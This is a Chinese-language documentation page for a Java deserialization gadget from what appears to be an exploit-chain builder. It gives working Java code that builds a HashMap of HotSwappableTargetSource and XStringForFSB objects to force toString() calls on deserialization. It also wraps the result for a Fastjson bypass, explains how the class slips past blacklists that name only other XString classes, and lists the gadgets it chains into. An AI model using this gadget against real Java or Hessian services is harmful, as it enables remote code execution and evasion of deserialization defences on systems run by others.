- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
spring-aop:org.springframework.aop.target.HotSwappableTargetSource、jdk:com.sun.org.apache.xpath.internal.objects.XStringForFSB
XString1 的 XStringForFSB 变体:用 JDK 内置的 com.sun.org.apache.xpath.internal.objects.XStringForFSB(基于 FastStringBuffer 的 XString 子类)作载体,经 HashMap 碰撞 → HotSwappableTargetSource.equals → XStringForFSB.equals,对内层对象调用任意 toString()。是 XString 家族中针对 XStringForFSB 的绕过变体。
- 入口
tags:JavaNativeDeserialize、HessianDeserialize—— 承接 Java 原生反序列化 / Hessian 反序列化入口。 - 衔接
nextTags:ToString—— 之后接一个「入口为toString()」的 gadget。 excludes:(无)
public Object getObject(Object object) throws Exception {
XStringForFSB xString = new XStringForFSB(new FastStringBuffer(), 0, 0); // 以空 FSB 构造
HotSwappableTargetSource h1 = new HotSwappableTargetSource(object);
HotSwappableTargetSource h2 = new HotSwappableTargetSource((Object)xString);
Reflections.setFieldValue(xString, "m_obj", null); // 反射清空 m_obj,规避序列化/equals 障碍
HashMap map = PayloadHelper.makeMap(h1, h2);
return map;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context);
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject);
}
return resultObject;
}与 XString1 的差异:
- 载体换为
XStringForFSB,构造器签名(FastStringBuffer fsb, int start, int length);此处用new FastStringBuffer()空缓冲配0, 0。 - 关键额外一步
Reflections.setFieldValue(xString, "m_obj", null):XStringForFSB内部持有m_obj(指向FastStringBuffer)。把m_obj置null是为了在后续处理中避免对FastStringBuffer的不必要序列化/比较(FastStringBuffer本身携带较重的内部结构,直接保留易导致序列化异常或equals行为不受控);置空后XStringForFSB作为「壳」参与equals,仍走父类XString的比较逻辑对object调toString()。 - 触发链与 XString1 一致:
HashMap.readObject同桶碰撞 →HotSwappableTargetSource.equals转比target→XStringForFSB.equals(object)→object.toString()。
invoke 中 FASTJSON_HANDLE_BYPASS_KEY 处理同 XString1(Fastjson handle 绕过场景套 List,否则直接返回 HashMap)。
本类无 @Param,无用户可配字段;内层对象与上下文由链自动注入。
- 使用 JDK 内置
XStringForFSB,无需第三方 XML 依赖,仅需spring-aop的HotSwappableTargetSource。 XStringForFSB与XString/XStringForChars类名不同,可在目标仅黑名单了某一具体XString*类时用作替代。m_obj置空是本变体的必要处理,避免FastStringBuffer引入序列化/比较副作用。- 同样受 JDK 模块化后
com.sun.org.apache.xpath.internal.*可用性影响。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 下游(
nextTags=ToString):JacksonToString、FastjsonToString1、FastjsonToString2、XBeanToString、RomeToStringBean1/2、SpringAopAspectjweaver。 - 同族变体:XString1(
XString)、XString2(XStringForChars)、XalanXString1(xalan 独立包)。